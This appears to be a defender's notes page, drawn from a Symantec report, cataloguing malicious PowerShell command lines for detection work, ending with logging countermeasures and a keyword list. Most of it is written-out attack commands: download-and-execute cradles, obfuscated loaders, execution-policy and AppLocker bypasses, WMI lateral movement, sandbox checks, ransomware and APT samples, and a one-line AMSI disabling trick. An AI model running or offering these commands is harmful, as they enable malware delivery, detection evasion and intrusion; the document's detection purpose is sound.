legal contact rss
 

detecting PowerShell for exploitation

To be able to detect the most powershell commands and actions, you need to have some logging enabled first.

Use either sysmon and/or enable the powershell logging at: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\ Windows\PowerShell\


Powershell logging at the group policy

Below table is basically a type of notepad for things to remember and summarize for me personally. The intention is not to use it for exploitation but rather to know patters to look for withing the defence section.
I will, in future, add the corresponding Splunk- SIGMA-rules as the are invented.

Command action remarks
TYPE myScript.ps1 | PowerShell.exe -noprofile - Pipe the script into the standard-in of powershell.exe, such as with the echo or type command to overcome the exceution policy.
powershell.exe -command “iex(New-Object Net. WebClient).DownloadString(‘http://[REMOVED]/myScript. ps1’)” Use the command argument to execute a single command. This will exclude it from the execution policy. The command could download and execute another script to overcome the exceution policy.
powershell.exe -enc [ENCODED COMMAND] Use the EncodedCommand argument to execute a single Base64-encoded command. This will exclude the command from the execution policy.
powershell.exe -ExecutionPolicy bypass -File myScript.ps1 Use the execution policy directive and pass either “bypass” or “unrestricted” as argument. This might need admin rights as far as I remember
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ ShellIds\Microsoft.PowerShell If the attacker can execute code on the compromised computer, it’s likely they can modify the execution policy in the registry, which is stored under this subkey. This needs admin rights as far as I remember

Scrript execution flags

action

 
-NoP/-NoProfile (ignore the commands in the profile file Since PowerShell automatically appends the “*” character to the flag argument, a lot of flag keyword abbreviations are possible.
-Enc/-EncodedCommand run a Base64-encoded command For example, instead of using –EncodedCommand, a user could input -enco or -encodedc as they are all interchangeable.
-W Hidden/-WindowStyle Hidden hide the command window
-Exec bypass/-ExecutionPolicy Bypass ignore the execution policy restriction
-NonI/-NonInteractive do not run an interactive shell
-C/-Command run a single command
-F/-File run commands from a specified file

malicious use comands

actio

remarks

(New-Object System.Net.Webclient).DownloadString()

powershell -w hidden -ep bypass -nop -c “IEX ((New-Object System.Net.Webclient). DownloadString(‘http://pastebin.com/raw/[REMOVED]’))”

(New-Object System.Net.Webclient).DownloadFile() The WebClient API methods DownloadString and DownloadFile are not the only functions that can download content from a remote location. Invoke-WebRequest, BitsTransfer, Net.Sockets. TCPClient, and many more can be used in a similar way, but WebClient is by far the most commonly used one.
-IEX / -Invoke-Expression    
(New-object -com Shell.Application).ShellExecute()    
cmd.exe /C powershell $random = New-Object System. Random; Foreach($url in @({http://[REMOVED]academy. com/wp-content/themes/twentysixteen/st1.exe},{http:// [REMOVED].com.au/wp-content/plugins/espresso-social/ st1.exe},{http://[REMOVED].net/wp-includes/st1. exe},{http://[REMOVED]resto.com/wp-content/plugins/ wp-super-cache/plugins/st1.exe},{http://[REMOVED]. ru/wp-content/themes/twentyeleven/st1.exe})) { try { $rnd = $random.Next(0, 65536); $path = ‘%tmp%\’ + [string] $rnd + ‘.exe’; (New-Object System.Net. WebClient).DownloadFile($url.ToString(), $path); Start-Process $path; break; } catch { Write-Host $error[0].Exception } } define a variable with the actual code and use it as a command instead  
cmd.exe /c pow^eRSheLL^.eX^e ^-e^x^ec^u^tI^o^nP^OLIcY^ ByP^a^S^s -nOProf^I^L^e^ -^WIndoWST^YLe H^i^D^de^N ^(ne^w-O^BJe^c^T ^SY^STeM. Ne^T^.^w^eB^cLie^n^T^).^Do^W^nlo^aDfi^Le(^’http:// www. [REMOVED].top/user.php?f=1.dat’,^’%USERAPPDATA%. eXe’);s^T^ar^T-^PRO^ce^s^S^ ^%USERAPPDATA%.exe  obfuscate to evade detection  
powershell.exe iex $env:nlldxwx    
powershell.exe -NoP -NonI -W Hidden -Exec Bypass -Command “Invoke-Expression $(New-Object IO.StreamReader ($(New-Object IO.Compression. DeflateStream ($(New-Object IO.MemoryStream (,$([Convert]::FromBase64String(\”[REMOVED]\” )))), [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd();”    

 

 

 

Exploit

action

remarks 

 set shell=createobject(“Shell.Application”) CVE-2016-0189  Exploit kits have also been experimenting with PowerShell. Recently, we have seen the Rig, Neutrino, Magnitude, and Sundown exploit kits taking advantage of the Microsoft Internet Explorer Scripting Engine Remote Memory Corruption Vulnerability.  
 shell.ShellExecute “powershell.exe”, “-nop -w hidden -c if(IntPtr]::Size -eq 4){b=’powershell. exe’}else{$b=$env:windir+’\\\\syswow64\\\\ WindowsPowerShell\\\\v1.0\\\\powershell.exe’};  CVE-2016-0189  These attacks impact a flaw in the JScript and VBScript engines to execute code in Internet Explorer. Some of the campaigns used a PowerShell script instead of a VBScript to download and execute the file. The following is an example of this script.  
 $s=New-Object System.Diagnostics.ProcessStartInfo;$s. FileName=$b;$s.Arguments=’-nop -w hidden -c ImportModule BitsTransfer;Start-BitsTransfer “ &nburl&” c:\\”&nbExe&”;Invoke-Item c:\\”&nbExe&”;’;$s. UseShellExecute=$false;$p=[System.Diagnostics. Process]::Start($s); “,””,”open”,0  CVE-2016-0189    
   

 Lateral movement

 action

remarks 

 
Invoke-Command -ComputerName $RemoteComputer -ScriptBlock {Start-Process ‘C:\myCalc.exe’} -credential (Get-Credential)    A user can supply the argument to multiple remote computers and execute the command on multiple computers in parallel. The new threads will run under the signed WsmProvHost.exe parent process. Once the subprocess has ended, the WsmProvHost process will end as well.  
 Enter-PSSession -ComputerName 192.168.1.2 -Credential $credentials   Running a PowerShell session (and WMI) remotely depends on the Windows Remote Management (WinRM) service. The feature has to be enabled manually through Enable-PSRemoting –Force or group policies. The available commands can be restricted through constrained run spaces.  
 ([WMICLASS]”\\$IP\ROOT\CIMV2:win32_process”). Create($Command2run)      
 wmic /NODE:[SERVER NAME] process call create “powershell.exe -Enc ‘[PAYLOAD]‘”      
 Get-WmiObject -Namespace “root\cimv2” -Class Win32_Process -Impersonation 3 -Credential MYDOM\ administrator -ComputerName $Computer      
       

 Detect virtual environment

action

remarks 

 
 (get-process|select-string -pattern vboxservice,vboxtray,proxifier,prl_cc,prl_ tools,vmusrvc,vmsrvc,vmtoolsd).count    PowerShell can be used to check if the script is run inside a virtual machine environment (VME). If the script is running on a VME, it stops executing, as the VME could be a sandbox environment. The most common VME-evading method we have encountered is checking for processes with names that suggests a virtual environment, for example:  
       

 Ransomeware samples

 action

 remarks

 
       
“cmd /K “ + “pow” + “eR” & “sh” + “ell.e” + “x” + “e -WindowStyle hiddeN -ExecuTionPolicy BypasS -noprofile (New-Object System.Net.WebClient). DownloadFile(‘http://[REMOVED]/file.php’,’%TEMP%\Y. ps1’); poWerShEll.exe -WindowStyle hiddeN -ExecutionPolicy Bypass -noprofile -file %TEMP%\Y. ps1”  Ransom.PowerWare PowerWare’s downloaded PowerShell script makes heavy use of randomized variable names. The script generates a random key for encrypting the target’s files using the GET-RANDOM cmdlet. The encryption key is then sent back to the attacker using an old-style MsXml2.XMLHTTP COM object.  
 cmd = “powershell “”&{$f=[System.Text. Encoding]::UTF8.GetString([System.Convert]::FromBas” & “e64String(‘” & BackupVbs & “’)); Set-Content ‘” & pth & “backup.vbs” & “’ $f;$f=[System.Text.Encoding]::UTF8.GetString([System. Convert]::FromBas” & “e64String(‘” & DnEPs1 & “’)); $f=$f -replace ‘__’,(Get-Random); $f=’powershell -EncodedCommand \””’+([System. Convert]::ToBas” & “e64String([System.Text. Encoding]::Unicode.GetBytes($f)))+’\””’; Set-Content ‘” & pth & “DnE.ps1” & “’ $f;$f=[System. Text.Encoding]::UTF8.GetString([System. Convert]::FromBas” & “e64String(‘” & DnSPs1 & “’)); $f=’powershell -EncodedCommand \””’+([System. Convert]::ToBas” & “e64String([System.Text. Encoding]::Unicode.GetBytes($f)))+’\””’; Set-Content ‘” & pth & “DnS.ps1” & “’ $f}”””  W97M.INCOMPAT  Once executed, the script creates three folders under %public%\Libraries\RecordedTV\. The macro then executes a long PowerShell command from the command line. This script stores some of the workbook’s payload in a file called backup.vbs and creates two PowerShell scripts, DnE.ps1 and DnS.ps1. The script uses basic obfuscation with string concatenation and string replacement. The macro script also reveals decoy content in the workbook in order to fool the user into thinking that everything is normal.  
       

 Trojan samples

action 

remarks 

 
rundll32.exe javascript:”\..\ mshtml,RunHTMLApplication “;document.write();r=new%20 ActiveXObject(“WScript.Shell”).run(“powershell -w h -nologo -noprofile -ep bypass IEX ((New-Object Net. WebClient).DownloadString(‘[IP ADDRESS]/script. ps1’))”,0,true);  PoshRat One method is to use rundll32 to start a JavaScript which will then execute a PowerShell command line.  
regsvr32.exe /u /n /s /i:http://[IP ADDRESS]:80/file. sct scrobj.dll    This method can be used to bypass AppLocker restrictions. The command will load the remote script in the register element and run the script.  
       

 APT usage of powershell

action 

remarks 

 
 (New-Object Net.WebClient).DownloadFile(“https:// [REMOVED]/logo1.jpg”,”$(cat env:appdata)\\logo1. jpg”); certutil -decode “$(cat env:appdata)\\logo1. jpg” “$(cat env:appdata)\\AdobeARM.exe”; startprocess “$(cat env:appdata)\\AdobeARM.exe “  download Trojan.Seaduke  Instead of directly decoding the Base64-encoded file with PowerShell, the attackers invoked the Windows tool Certutil, before executing the file as a new process.
 powershell.exe -w 1 cls (New-Object Net.WebClient). DownloadFile(“””http://[REMOVED]/images/rec. exe”””,”””$env:tmp\rec.exe”””);Iex %tmp%\rec.exe  Backdoor.Pirpi The Buckeye group, which recently attacked Hong Kong based targets, used spear-phishing emails with malicious .zip attachments. The .zip archive contained a Windows shortcut (.lnk) file with the Internet Explorer logo. This .lnk file then used PowerShell to download and execute Backdoor.Pirpi. The group used -w 1 instead of -w hidden to hide the window. They also used cls to clear the screen, probably in an attempt to hide their activity.  
$WC=NEw-OBjeCt SYsTEm.Net.WEbCLIENt; $u=’Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko’; [System.Net.ServicePointManager]::ServerCertificat eValidationCallback = {$true}; $wC.HEAderS.Add(‘User-Agent’,$u); $Wc.PROxY = [SystEM.NeT.WEBReQuEst]::DeFauLt WEbPrOxy;$wC.ProXY.CREdENtiAls = [System.NeT.CRedeN tIalCAcHe]::DefaulTNETworKCrEdenTIALS; $K=’AKoem{;V*O$E^<0F:_Is~}zdhyni,fpt’;$I=0;[CHAR[]] $b=([chAr[]]($wc.DOwNlOadSTRiNg(“https://[REMOVED]/ index.asp”)))|%{$_-bXoR$k  Odinaff The Odinaff group, which attacked financial institutions, used PowerShell and other tools like PsExec to laterally move across a compromised network. This group was one of the few that set a specific user agent for the downloader script and checked local proxy settings. In addition, Odinaff used some simple mixedcase letter obfuscation.  
powershell.exe -w hidden -nologo -nointeractive -nop -ep bypass -c “IEX ((new-object net.webclient). downloadstring([REMOVED]))”  Pupa/ DeepPanda    
powershell.exe -Win hidden -Enc [REMOVED]  Pupa/ DeepPanda    
powershell -noprofile -windowstyle hidden -noninteractive -encodedcommand [REMOVED]  Pupa/ DeepPanda    
powershell -windowstyle hidden -ep bypass -f Dump.ps1 -Domain [REMOVED] -User [REMOVED] -Password [REMOVED] -Mailbox  SeaDuke    
powershell -executionpolicy bypass -File diag3.ps1  SeaDuke    
powershell.exe -WindowStyle hidden -encodedCommand [REMOVED]  CozyDuke    
powershell.exe -NoP -NonI -W Hidden -Enc [REMOVED]  Odinaff    
powershell.exe -w 1 cls (New-Object Net. WebClient).DownloadFile(“””http://[REMOVED]/ images/rec.exe”””,”””$env:tmp\rec.exe”””);Iex %tmp%\rec.exe  Buckeye    
       

 Antimalware Scan Interface Deactivation

 action

remarks 

 
[Ref].Assembly.GetType(‘System. Management.Automation.AmsiUtils’). GetField(‘amsiInitFailed’,’NonPublic,Static’). SetValue($null,$true)  Graeber  to bypass AMSI. An attacker can try to unload AMSI. An alternative method is dropping back to PowerShell 2.0 which does not support AMSI, if the old version is still present on the computer.  
       

Countermeasures

Another option is to enable Process Tracking with commandline auditing, which can now record the full command line. This will log all new processes which are started, including PowerShell that is run on the command line. The information will be logged with the event id 4688 (Process Creation). There are a few public tools available that can help process logged events, such as PowerShell Method Auditor. Security researcher Sean Metcalf has generated a list of suspicious calls that can be monitored in the PowerShell operational log. For example the following keywords are a strong indicator that PowerShell attack tools have been run:

  • Invoke-DLLInjection
  • System.Reflection.AssemblyName
  • System.Reflection.Emit.AssemblyBuilderAccess Invoke-Shellcode
  • System.Reflection.AssemblyName
  • System.Reflection.Emit.AssemblyBuilderAccess
  • System.MulticastDelegate
  • System.Reflection.CallingConventions

Windows 10 added new security features for PowerShell. Script Block Logging is now automatically enabled, providing better logging. Additionally, a new feature called Antimalware Scan Interface (AMSI) allows security solutions to intercept and monitor PowerShell calls in order to block malicious scripts. This lets an engine look beyond basic obfuscation and dynamic code generation.

Source: Symantec
Credits for the original writing to: Candid Wueest, Stephen Doherty. Himanshu Anand